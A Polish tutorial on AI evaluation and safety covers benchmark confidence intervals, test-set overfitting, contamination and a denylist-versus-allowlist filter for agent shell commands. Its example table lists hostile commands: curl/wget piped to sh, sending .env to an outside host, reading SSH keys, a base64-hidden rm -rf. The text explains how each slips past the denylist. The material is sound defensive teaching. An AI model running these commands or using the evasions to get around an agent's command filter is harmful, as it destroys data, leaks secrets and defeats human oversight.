Ocena i bezpieczeństwo systemów AI: jak mierzyć i jak pilnować
Benchmarki i niepewność pomiaru, jak wybór na podstawie zestawu testowego zawyża wyniki, kontaminacja danych na eksperymencie, rodzaje ryzyk, filtr poleceń agenta jako lista zakazów kontra lista dozwolonych i obrona w głąb.
Seria Podstawy AI Część 52 z 52
- Mapa sztucznej inteligencji: co jest czym i jak to do siebie pasuje
- Krótka historia sztucznej inteligencji: od Turinga do modeli językowych
- Dane, model, trening, inferencja: podstawowe pojęcia na jednym przykładzie
- Jak czytać zapis matematyczny: symbole, indeksy, sumy i kwantyfikatory
- Zbiory i relacje: klocki, z których składają się definicje w AI
- Funkcje i odwzorowania: dlaczego każdy model AI jest funkcją
- Logika i dowody: reguły, według których rozumuje AI
- Grafy i drzewa: struktura, na której opierają się przeszukiwanie i sieci neuronowe
- Algebra liniowa dla uczenia maszynowego: wektory, macierze i dlaczego AI głównie mnoży
- Pochodne, gradient i reguła łańcuchowa: jak model ustala, w którą stronę się uczyć
- Spadek gradientu: jak uczy się model
- Czym jest prawdopodobieństwo: od rzutu kostką do aksjomatów Kołmogorowa
- Prawdopodobieństwo warunkowe i twierdzenie Bayesa: jak zmienić ocenę, gdy dowiesz się czegoś nowego
- Zmienna losowa i dystrybuanta: jedna funkcja, która mówi o rozkładzie wszystko
- Funkcja gęstości i funkcja prawdopodobieństwa: dlaczego zmienna ciągła ma w punkcie prawdopodobieństwo zero
- Wartość oczekiwana, wariancja i kowariancja: gdzie leży rozkład, jak jest szeroki i co z czym się wiąże
- Przegląd rozkładów prawdopodobieństwa: Bernoulliego, dwumianowy, Poissona, jednostajny, normalny i wykładniczy
- Prawo wielkich liczb i centralne twierdzenie graniczne: dlaczego średnie zachowują się tak przewidywalnie
- Statystyka i estymacja parametrów: największa wiarygodność, MAP i przedziały ufności
- Teoria informacji: entropia, entropia krzyżowa i dywergencja KL — skąd się biorą funkcje straty
- Przeszukiwanie przestrzeni stanów: BFS, DFS, UCS i A* z animacjami
- Gry i przeciwnik: minimax, przycinanie alfa-beta i Monte Carlo tree search
- Spełnianie ograniczeń: backtracking, propagacja ograniczeń i AC-3 na sudoku i mapie czeskich krajów
- Logika i systemy z bazą wiedzy: wnioskowanie w przód i wstecz, rezolucja i systemy ekspertowe
- Planowanie: STRIPS, świat klocków, heurystyki z relaksacji i planowanie w agentach AI
- Przeszukiwanie lokalne i symulowane wyżarzanie: komiwojażer przez czeskie miasta wojewódzkie
- Algorytmy genetyczne: populacja, krzyżowanie, mutacja i selekcja na plecaku na wycieczkę
- Strategie ewolucyjne i programowanie genetyczne: od reguły jednej piątej do prawa Keplera
- Optymalizacja kolonią mrówek: jak ślad feromonowy znajduje krótką drogę
- Optymalizacja rojem cząstek: bezwładność, własne doświadczenie i doświadczenie roju
- Neuroewolucja: ewolucja wag i kształtu sieci neuronowych oraz algorytm NEAT
- Zbiory rozmyte i funkcje przynależności: jak zapisać „trochę ciepło”
- Logika rozmyta a prawdopodobieństwo: dlaczego „trochę ciepło” nie znaczy „prawdopodobnie ciepło”
- Logika rozmyta: t-normy, implikacje i reguły JEŻELI–TO
- Sterowanie rozmyte: Mamdani i Sugeno od wentylatora po wahadło na wózku
- Klasteryzacja rozmyta: algorytm fuzzy c-means i punkty między skupieniami
- Systemy neuro-rozmyte (ANFIS): reguły rozmyte, które uczą się z danych
- Łańcuchy Markowa: macierz przejścia, rozkład stacjonarny i PageRank
- Ukryte modele Markowa: algorytm Viterbiego i nieuczciwe kasyno
- Sieci bayesowskie: dlaczego trawa jest mokra i co z tego wynika dla zraszacza
- Filtr Kalmana: jak z niedokładnych pomiarów oszacować, gdzie jest samochód i jak szybko jedzie
- Rodzaje uczenia maszynowego: nadzorowane, nienadzorowane, półnadzorowane i inne
- Prompty, kontekst i RAG: jak dać modelowi właściwe informacje
- Wariacyjne autoenkodery (VAE): nowe obrazki z ciągłej przestrzeni latentnej
- Generatywne sieci przeciwstawne (GAN): fałszerz kontra detektyw
- Modele dyfuzyjne: jak z czystego szumu powstaje obraz
- Procesy decyzyjne Markowa: stany, akcje, nagrody i równania Bellmana
- Q-learning i DQN: uczenie się wartości akcji od tabeli po sieć neuronową
- Policy gradient i PPO: uczenie się bezpośrednio polityki
- Jak działa agent AI: model językowy w pętli z narzędziami
- Programowanie z agentami AI: zadanie, testy i kontrola
- Ocena i bezpieczeństwo systemów AI: jak mierzyć i jak pilnować
Pełny program serii Gotowe: 52 z 83 tematów
- Dlaczego różnica kilku punktów procentowych na benchmarku często nic nie znaczy.
- Jak zestaw testowy się zużywa i co robi kontaminacja.
- Dlaczego agentowi lepiej zezwalać niż zakazywać i jak składać warstwy ochrony.
Warto wiedzieć wcześniej: Jak działa agent AI: model językowy w pętli z narzędziami, Programowanie z agentami AI: zadanie, testy i kontrola
„Nowy model jest o 3 punkty lepszy.” „Agent jest bezpieczny, ma zakaz niebezpiecznych poleceń.” Oba zdania brzmią uspokajająco i oba mogą być nieprawdziwe, choć nikt nie kłamie. Pierwsze z powodu tego, jak się mierzy, drugie z powodu tego, jak się zakazuje. W ostatniej części modułu o agentach przyjrzymy się dwóm pytaniom, które przy systemach AI zadaje się najczęściej: jak poznać, co naprawdę potrafią, i jak sprawić, żeby nie robiły tego, czego nie powinny.
Nawiązuje do części Ocena modelu, Jak działa agent AI i Programowanie z agentami AI.
1. Jak się mierzy, co potrafi model
Definicja — benchmark
Benchmark to stały zestaw zadań ze znanymi poprawnymi odpowiedziami i regułą oceniania, na którym porównuje się modele: pytania wielokrotnego wyboru z wielu dziedzin (MMLU), zadania tekstowe z matematyki (GSM8K), poprawki prawdziwych błędów w projektach open source sprawdzane testami (SWE-bench). Wynikiem jest zwykle odsetek poprawnie rozwiązanych zadań. Uzupełnieniem są porównania przez ludzi (ludzie głosują, która z dwóch anonimowych odpowiedzi jest lepsza) i własne testy na zadaniach, które są ważne dla ciebie.
Benchmark to sprawdzian, który wszyscy piszą taki sam. Przydaje się do porównań, ale mówi tylko, jak model pisze ten sprawdzian. Czy poradzi sobie z twoją pracą, poznasz tylko wtedy, gdy dasz mu twoją pracę.
Nawet uczciwy sprawdzian ma jednak ograniczoną dokładność. Model, który rozwiąże 82 % z 200 zadań, ma 95% przedział ufności 76,1–86,7 %; model z 85 % ma 79,4–89,3 %. Przedziały w dużej części się pokrywają — z takiego pomiaru nie da się powiedzieć, który jest lepszy. Na 2 000 zadaniach przedział dla 82 % miałby już tylko 80,3–83,6 %. Ilekroć widzisz różnicę kilku punktów procentowych, pytaj, na ilu zadaniach ją zmierzono.
Definicja — 95% przedział ufności
Model rozwiązuje każde zadanie z nieznanym prawdopodobieństwem p; na n zadaniach mierzymy odsetek p̂. 95% przedział ufności to procedura, która z p̂ i n wylicza przedział tak, że gdybyśmy powtarzali pomiar na nowych zestawach, zawierałby prawdziwe p w 95 % przypadków. Nie jest to twierdzenie „p leży w przedziale z prawdopodobieństwem 95 %” — losowy jest przedział, nie p.
Przedziały w tej części liczymy wzorem Wilsona (Edwin B. Wilson, 1927). W przeciwieństwie do prostego p̂ ± 1,96 · √(p̂(1 − p̂) / n) nie wychodzi poza 0 i 100 % i działa także dla odsetków bliskich krańcom:
( p̂ + z2 / 2n ± z √( p̂(1 − p̂) / n + z2 / 4n2 ) ) / ( 1 + z2 / n )
- p̂
- zmierzony odsetek poprawnych odpowiedzi — punkt wyjścia, wokół którego budujemy przedział
- z2 / 2n
- przesunięcie do środka: jakbyśmy do wyników dodali z2/2 ≈ 2 poprawne i 2 błędne odpowiedzi. Mały zestaw nie może więc twierdzić „100 %, przedział zerowej szerokości”
- z √(…)
- połowa szerokości przedziału; pierwszy składnik pod pierwiastkiem to wariancja zmierzonego odsetka, która maleje z n — dlatego czterokrotnie więcej zadań daje tylko o połowę węższy przedział
- 1 + z2 / n
- mianownik sprowadza przesunięty środek i szerokość do właściwej skali; dla dużego n wynosi prawie 1 i wzór przechodzi w prosty p̂ ± z · √(p̂(1 − p̂) / n)
Przykład — przedział dla 82 % z 200 zadań i różnica dwóch modeli
z2 = 1,962 = 3,8416. Środek: 0,82 + 3,8416 / 400 = 0,8296. Połowa szerokości: 1,96 · √(0,82 · 0,18 / 200 + 3,8416 / 160 000) = 1,96 · √(0,000738 + 0,000024) = 0,0541. Mianownik: 1 + 3,8416 / 200 = 1,0192.
Przedział: od (0,8296 − 0,0541) / 1,0192 = 0,7609 do (0,8296 + 0,0541) / 1,0192 = 0,8671, czyli 76,1–86,7 %.
Czy różnica 85 % wobec 82 % jest prawdziwa? Błąd standardowy różnicy dwóch niezależnych odsetków wynosi √(0,82 · 0,18 / 200 + 0,85 · 0,15 / 200) = 0,0371, więc 95% przedział różnicy to 3 ± 1,96 · 3,71 = 3 ± 7,3 punktu. Zawiera zero — różnicy nie da się odróżnić od przypadku. (Gdy oba modele rozwiązują te same zadania, można mierzyć czulej, parami, tylko na zadaniach, w których się różnią).
Ile zadań potrzeba, żeby połowa szerokości wynosiła 1 punkt? Z z √(p(1 − p) / n) ≤ 0,01 wynika n ≥ z2 p(1 − p) / 0,012 = 3,8416 · 0,82 · 0,18 / 0,0001 ≈ 5 671 zadań.
2. Zestaw testowy się zużywa
Definicja — adaptacyjne przeuczenie na zestawie testowym
Gdy na podstawie wyników na tym samym zestawie testowym wielokrotnie się wybiera — najlepszy z wielu wariantów, ustawień, promptów — wynik przestaje być nieobciążonym oszacowaniem. Wybrany wariant jest najlepszy po części tylko dlatego, że na tym zestawie sprzyjał mu przypadek. Na nowych danych wypadnie gorzej. Ogólniej ujmuje to prawo Goodharta: gdy miara staje się celem, przestaje dobrze mierzyć.
Stu uczniów, wszyscy tak samo dobrzy, pisze ten sam test. Ktoś z nich będzie miał najlepszy wynik — nie dlatego, że jest lepszy, ale dlatego, że akurat dobrze strzelił. Kto wybiera „najlepszego ucznia” na podstawie jednego testu, wybiera głównie szczęście.
Eksperyment: K wariantów modelu, wszystkie z prawdziwą dokładnością 70 %, mierzymy na tym samym zestawie i ogłaszamy wynik najlepszego. Średnia z 300 powtórzeń:
Na zestawie ze 100 zadaniami wybór spośród 100 wariantów ogłosi średnio 81,1 %, a spośród 500 wariantów 83,2 % — o 13 punktów więcej, niż którykolwiek z nich naprawdę potrafi. Większy zestaw pomaga (przy 1 000 zadań 73,6 %), ale problem nie znika. Warianty w eksperymencie mylą się niezależnie; prawdziwe warianty jednego modelu mylą się podobnie, więc efekt bywa mniejszy — kierunek jest jednak ten sam. Ochrona: wybierać na jednym zestawie (walidacyjnym), a ostateczną liczbę zmierzyć raz na innym, nietkniętym zestawie.
Dlaczego tak wychodzi, da się policzyć dokładnie. Liczba zadań X, które rozwiąże jeden wariant, ma rozkład dwumianowy Bin(n, 0,7). Najlepszy z K wariantów osiągnie co najmniej t zadań, gdy uda się to przynajmniej jednemu z nich:
P(max ≥ t) = 1 − ( 1 − P(X ≥ t) )K
- P(X ≥ t)
- szansa, że jeden wariant przypadkiem rozwiąże co najmniej t zadań; dla t powyżej prawdziwego poziomu jest mała — i właśnie z niej żyje wybór
- K
- liczba testowanych wariantów; w wykładniku, bo (1 − P)K to szansa, że nie uda się to żadnemu z niezależnych wariantów
- P(max ≥ t)
- szansa, że ogłoszony (najlepszy) wynik osiągnie t; wraz ze wzrostem K zbliża się do jedności nawet dla wysokiego t
Przykład — 80 % ze 100 zadań
Jeden wariant: X ~ Bin(100; 0,7) ma wartość oczekiwaną 70 i odchylenie standardowe √(100 · 0,7 · 0,3) = 4,58 zadania. Co najmniej 80 zadań rozwiąże z prawdopodobieństwem P(X ≥ 80) = 0,0165, czyli w około 1,6 % przypadków — o ponad dwa odchylenia standardowe powyżej średniej.
Spośród 100 wariantów: P(max ≥ 80) = 1 − (1 − 0,0165)100 = 0,810. Wynik „80 % i więcej”, który u jednego wariantu jest rzadkością, ogłosimy w czterech eksperymentach na pięć.
Wartość oczekiwaną najlepszego wyniku można policzyć ze wzoru bez symulacji: E[max] = ∑t=1n P(max ≥ t). Wychodzi 81,1 % dla 100 wariantów, 83,2 % dla 500 wariantów i 73,6 % dla 100 wariantów na zestawie z 1 000 zadań — to samo, co dała symulacja z 300 powtórzeniami (81,1, 83,2 i 73,6 %).
3. Kontaminacja: model widział odpowiedzi
Definicja — kontaminacja danych
Kontaminacja zachodzi, gdy zadania testowe (albo ich bliskie kopie) trafią do danych treningowych. W dużych modelach językowych, uczonych na dużej części internetu, to poważny problem: benchmarki są publiczne, często razem z rozwiązaniami, i model mógł je zapamiętać. Zmierzony wynik mierzy wtedy pamięć, nie umiejętność.
Uczeń, który zdobył treść sprawdzianu razem z wynikami. Dostanie szóstkę — i nic to nie mówi o tym, czy umie liczyć.
Eksperyment na cyfrach 8 × 8 z części o klasteryzacji: klasyfikator najbliższego sąsiada uczy się tylko z trzech przykładów każdej cyfry, więc na 200 cyfrach testowych ma uczciwie 60 %. Potem do danych treningowych „przecieka” część cyfr testowych:
ŷ(x) = yi*, i* = argmini ∈ trening ∑j=164 (xj − xi,j)2
- ∑ (xj − xi,j)2
- kwadrat odległości euklidesowej dwóch obrazków po 64 piksele; mały, gdy obrazki są do siebie podobne
- argmini ∈ trening
- który przykład treningowy jest najbliżej — szuka się tylko wśród tego, co model „widział”; dlatego wyciek danych testowych wprost zmienia odpowiedzi
- yi*
- odpowiedzią jest cyfra najbliższego sąsiada; żadnego uogólniania, tylko „wygląda jak tamto”
Przy wycieku 10 % dokładność skacze do 69 %, przy 25 % do 79 %, przy połowie do 92 %, a przy całym zestawie testowym do 100 %. Ciekawe, że poprawiają się także cyfry, które nie wyciekły (przy wycieku połowy 86 % zamiast 60 %): wyciekłe przykłady są podobne do pozostałych testowych, więc pomagają także przy nich. Dlatego nie wystarczy sprawdzać, czy model widział dokładnie to samo pytanie — wystarczy, że widział podobne. Obrona: niepubliczne zestawy testowe, nowe zadania utworzone dopiero po zakończeniu uczenia modelu i sprawdzanie, czy model nie potrafi „dopisać” zadania z pamięci.
4. Co może pójść źle
Bezpieczeństwo systemów AI to nie jedna rzecz. Pomaga rozróżniać, skąd przychodzi szkoda:
- Błędy — model się myli albo zmyśla (halucynacje), a człowiek mu wierzy.
- Nadużycie — ktoś używa modelu, żeby szkodzić: oszukańcze e-maile, pomoc w ataku, dezinformacja.
- Ataki na system — prompt injection w dokumencie albo na stronie internetowej przejmuje kontrolę nad agentem; „jailbreak” obchodzi reguły modelu.
- Niebezpieczne działania — agent z dostępem do komputera albo kont robi coś nieodwracalnego, choć nikt tego nie chciał.
- Niezgodność celów — system optymalizuje dokładnie to, co mu zadaliśmy, zamiast tego, czego chcieliśmy (nadmierna optymalizacja nagrody). Wraz z rosnącą samodzielnością systemów to temat badań i regulacji.
5. Zakazywać czy zezwalać
Konkretny przykład z praktyki agentów: agent może uruchamiać polecenia w terminalu. Jak sprawić, żeby nie uruchomił niczego niebezpiecznego? Porównamy dwa filtry na 28 poleceniach — 12 zwykłych (testy, git, wypisanie plików) i 16 niebezpiecznych (usuwanie, wysyłanie danych na zewnątrz, uruchomienie obcego skryptu).
Definicja — lista zakazów i lista dozwolonych
Lista zakazów (denylist) blokuje wymienione niebezpieczne wzorce, a wszystko inne przepuszcza. Lista dozwolonych (allowlist) przepuszcza tylko wymienione bezpieczne polecenia, a wszystko inne zatrzymuje — u agenta zwykle tak, że musi to zatwierdzić człowiek. Zasada bezpieczeństwa najmniejszych uprawnień zaleca to drugie.
Portier z listą osób, które nie mogą wejść, wpuści każdego, kogo nie ma na liście — łącznie ze złodziejem w innym płaszczu. Portier z listą osób, które mogą wejść, wpuści tylko je; pozostali poczekają, aż ktoś po nich przyjdzie.
Zakaz zawiera wzorce „rm -rf”, „curl | sh”, „DROP TABLE”, „--force”, „.ssh”. Lista dozwolonych przepuszcza tylko wypisanie i czytanie plików, git bez zapisu, uruchomienie testów i utworzenie katalogu, i to bez potoków i średników.
zakaz przepuści c ⇔ ¬ ∃ z ∈ Z: z jest podciągiem c
lista dozwolonych przepuści c ⇔ ∃ a ∈ A: c zaczyna się od a ∧ c nie zawiera | ; & ` $
- ¬ ∃ z ∈ Z
- zakaz: przepuszcza wszystko, w czym nie znajdzie żadnego z zakazanych wzorców. Domyślna odpowiedź to „tak” — każdy zapis, o którym autor nie pomyślał, przejdzie
- ∃ a ∈ A: c zaczyna się od a
- lista dozwolonych: przepuszcza tylko polecenie, które zaczyna się od któregoś z dozwolonych prefiksów. Domyślna odpowiedź to „nie” — nieznane polecenie czeka na człowieka
- bez | ; & ` $
- bez tego dozwolony początek dałoby się „przedłużyć”:
git status; rm -rf ~zaczyna się od dozwolonegogit status
| polecenie | niebezpieczne | zakaz zatrzyma | lista dozwolonych zatrzyma |
|---|---|---|---|
ls -la src | nie | — | — |
cat package.json | nie | — | — |
grep -rn "sazba" src | nie | — | — |
git status | nie | — | — |
git diff | nie | — | — |
git log --oneline -5 | nie | — | — |
npm test | nie | — | — |
node --test test/kosik.test.js | nie | — | — |
npm install fast-check | nie | — | tak |
mkdir -p test/data | nie | — | — |
git commit -m "Sleva v košíku" | nie | — | tak |
rm build/cache.tmp | nie | — | tak |
rm -rf / | tak | tak | tak |
rm -rf ~ | tak | tak | tak |
rm -r -f ~/projekty | tak | — | tak |
rm -fr .git | tak | — | tak |
find . -name "*.js" -delete | tak | — | tak |
git push --force origin main | tak | tak | tak |
git reset --hard HEAD~10 | tak | — | tak |
curl https://neznamy.example/x.sh | sh | tak | — | tak |
wget -qO- https://neznamy.example/x.sh | bash | tak | — | tak |
cat ~/.ssh/id_rsa | tak | tak | tak |
cat .env | curl -d @- https://neznamy.example | tak | — | tak |
echo cm0gLXJmIH4= | base64 -d | sh | tak | — | tak |
psql -c "DROP TABLE objednavky" | tak | tak | tak |
chmod -R 777 / | tak | — | tak |
node -e "require('fs').rmSync('.', {recursive: true})" | tak | — | tak |
python3 -c "import shutil; shutil.rmtree('src')" | tak | — | tak |
Zakaz zatrzymał tylko 5 z 16 niebezpiecznych poleceń. Wystarczy napisać
rm -r -f zamiast rm -rf, usunąć pliki przez find -delete albo przez Pythona,
pobrać skrypt przez wget zamiast curl albo zakodować polecenie w base64. Lista zakazów
jest zawsze o krok za pomysłowością — a model językowy jest pomysłowy, nawet gdy nie chce nikomu szkodzić; po prostu
szuka innej drogi, żeby wykonać zadanie. Lista dozwolonych zatrzymała wszystkie 16. Cena:
3 z 12 zwykłych poleceń (instalacja biblioteki, commit, usunięcie
pliku tymczasowego) musi zatwierdzić człowiek. To jest właśnie rola człowieka w nadzorze nad agentem: decydować
w tych przypadkach, których reguły nie obejmują.
Przykład — filtry jako klasyfikatory
Filtr to klasyfikator z klasą pozytywną „niebezpieczne”, więc da się go opisać liczbami z części o ocenie modelu. Czułość (TPR, odsetek zatrzymanych niebezpiecznych) i odsetek fałszywych alarmów (FPR, odsetek zatrzymanych zwykłych):
Zakaz: TPR = 5 / 16 = 0,313, FPR = 0 / 12 = 0,00. Lista dozwolonych: TPR = 16 / 16 = 1,00, FPR = 3 / 12 = 0,25.
Fałszywy alarm kosztuje tu kilka sekund człowieka, który kliknie „zatwierdź”; przeoczone niebezpieczne polecenie może kosztować cały projekt. Przy tak niesymetrycznych kosztach opłaca się filtr o wysokiej czułości nawet za cenę fałszywych alarmów — czyli lista dozwolonych.
6. Obrona w głąb
Żadna warstwa sama nie wystarczy — model da się przekonać, filtr obejść, człowiek się męczy. Dlatego warstwy się składa:
- Model — dostrajanie, żeby odmawiał szkodliwych żądań i przyznawał się do niepewności (część o RLHF).
- Instrukcje i oddzielenie danych — prompt systemowy, teksty ze stron internetowych i dokumentów oznaczone jako dane, nie polecenia.
- Uprawnienia — narzędzia z najmniejszymi koniecznymi prawami, listy dozwolonych, oddzielne konta i klucze.
- Izolacja — agent działa w kontenerze albo maszynie wirtualnej, bez dostępu do rzeczy, których nie potrzebuje.
- Człowiek w pętli — zatwierdzanie nieodwracalnych i nietypowych kroków.
- Zapis i kontrola — to, co agent zrobił, da się wstecznie prześledzić i cofnąć (git, kopie zapasowe, logi).
Pszkoda = p1 · p2 · … · pm
- p1
- prawdopodobieństwo, że szkodliwe działanie przepuści pierwsza warstwa (na przykład model go nie odmówi)
- p2
- prawdopodobieństwo, że przepuści je druga warstwa (filtr poleceń) — mnoży się, bo działanie musi przejść przez wszystkie warstwy
- pm
- ostatnia warstwa (izolacja, kopia zapasowa); każda kolejna warstwa z p < 1 zmniejsza wynik, nawet jeśli sama jest słaba
- Pszkoda
- szansa, że szkodliwe działanie przejdzie aż do końca
Cztery warstwy, z których każda przepuszcza 10 % szkodliwych działań, dają 0,14 = 0,0001 — jedno na dziesięć tysięcy. Tyle że warstwy zwykle nie są niezależne: prompt injection, który przekona model, często przekona też człowieka, który zatwierdza na podstawie wyjaśnienia modelu. Gdyby warstwy od drugiej do czwartej dawały się oszukać zawsze, gdy da się oszukać pierwsza, zostanie Pszkoda = 0,1. Dlatego warstwy powinny opierać się na różnych zasadach: model na treści, filtr na składni polecenia, izolacja na tym, do czego proces w ogóle ma dostęp.
Definicja — red teaming i ocena niebezpiecznych zdolności
Red teaming to celowe szukanie awarii: ludzie (a coraz częściej inne modele) próbują nakłonić system do tego, czego robić nie powinien, a znalezione słabości się naprawia. Ocena niebezpiecznych zdolności mierzy, czy model radzi sobie z zadaniami, które mogłyby prowadzić do poważnej szkody (na przykład pomoc w cyberataku), a duzi twórcy modeli na podstawie wyników zaostrzają zabezpieczenia, zanim model opublikują.
Bank wynajmuje włamywacza, żeby spróbował obrabować skarbiec — zanim spróbuje prawdziwy. Każda dziura, którą znajdzie, to dziura, której nikt inny już nie znajdzie.
Do środków technicznych dochodzi też regulacja. Europejski akt w sprawie sztucznej inteligencji (AI Act, obowiązujący od 2024 roku i stosowany stopniowo) dzieli systemy według ryzyka: niektórych praktyk wprost zakazuje, a szczegółowe obowiązki nakłada na systemy wysokiego ryzyka, które decydują o ludziach — przy rekrutacji, kredytach albo w ochronie zdrowia.
7. Podsumowanie
- Benchmark to sprawdzian: przydatny do porównań, ale z ograniczoną dokładnością. Na 200 zadaniach 82 % ma przedział 76,1–86,7 %.
- Wybieranie na podstawie tego samego zestawu testowego zawyża wynik: wybór spośród 100 wariantów z prawdziwą dokładnością 70 % ogłosi 81,1 %.
- Kontaminacja mierzy pamięć zamiast umiejętności; wyciek połowy testu podniósł dokładność z 60 % do 92 %.
- Ryzyka: błędy, nadużycie, ataki na system, niebezpieczne działania i niezgodność celów.
- Lista zakazów zatrzymała 5 z 16 niebezpiecznych poleceń, lista dozwolonych wszystkie 16 — za cenę zatwierdzania.
- Bezpieczeństwo opiera się na warstwach: model, oddzielenie danych, uprawnienia, izolacja, człowiek w pętli i zapis.
Chcesz to sprawdzić w praktyce? Spisz dziesięć zadań ze swojej pracy razem z poprawnymi wynikami i niech agent AI porówna na nich dwa modele — i niech do wyniku doda przedział ufności. Potem spróbuj wymyślić trzy polecenia, które obeszłyby filtr zakazów twojego agenta.
Masz inne zdanie? Napisz na support@coden-app.com.